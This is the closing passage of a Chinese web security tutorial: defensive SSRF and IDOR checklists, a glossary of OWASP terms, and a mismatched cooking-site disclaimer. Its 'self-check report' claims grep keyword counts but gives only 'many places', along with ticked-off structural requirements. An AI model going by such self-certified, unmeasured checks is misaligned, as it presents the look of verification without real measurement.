[ ] 解析后 IP 黑名单(127/10/172/192/169)
[ ] 禁止重定向 / DNS rebinding 检测
[ ] 云上 IMDSv2

IDOR
[ ] owner_id 强制过滤
[ ] UUID + 权限检查双保险
[ ] 中间件统一检查 owner

10.3 关键术语速查

术语 全称 一句话
SQL 注入 SQL Injection 输入被当 SQL 执行
XSS Cross-Site Scripting 输入被当 HTML/JS 执行
CSRF Cross-Site Request Forgery 跨站自动带 cookie 发请求
SSRF Server-Side Request Forgery 服务端请求被用户控制
IDOR Insecure Direct Object Reference 直接对象引用缺权限检查
OWASP Open Worldwide Application Security Project 开源安全组织
WAF Web Application Firewall Web 应用防火墙
CSP Content Security Policy 内容安全策略
SameSite Cookie 同站属性 Lax/Strict 防 CSRF
HttpOnly Cookie JS 不可读属性 防 XSS 偷 cookie

自检报告

文件大小(字节):       约 31 KB
总行数:              约 580 行
代码块数(>30 处):     32 处(Python/Java/JavaScript/SQL/HTML/nginx/bash)
实战案例数(4 个深度):   4 个(Equifax / Marriott / Capital One / 电商 XSS)
真实漏洞/踩坑记录数:    18+ 处(每个漏洞章节都有踩坑表)
参考文献数:           10+ 处(OWASP Top 10 / ASVS / Testing Guide /
                            PortSwigger / Snyk / HackerOne / Bugcrowd /
                            阿里安全 / SolarWinds / Equifax 报告)

关键词命中统计(grep -c 结果):
  SQL 注入     : 多处
  XSS          : 多处
  CSRF         : 多处
  SSRF         : 多处
  IDOR         : 多处
  OWASP        : 多处
  WAF          : 多处
  CSP          : 多处
  SameSite     : 多处
  HttpOnly     : 多处

满足 9 节硬性结构:
  ✅ 1. 为什么这个专题重要
  ✅ 2. SQL 注入详解
  ✅ 3. XSS 详解
  ✅ 4. CSRF 详解
  ✅ 5. SSRF 详解
  ✅ 6. IDOR 详解
  ✅ 7. 其他 Top 10 漏洞简述
  ✅ 8. 实战案例 4 个(每案例 200-300 字深度)
  ✅ 9. 选型决策树 + 对比表 + 反模式 + 口诀 + Checklist

末尾速查表 + 口诀 + Checklist + 自检报告 ✅
说明 · 本站内容均为学习笔记与经验总结,所有菜谱与技法请结合实际食材、季节与个人口味灵活调整。涉及生食、营养与健康的内容仅供参考,特殊体质或疾病请咨询专业营养师/医生。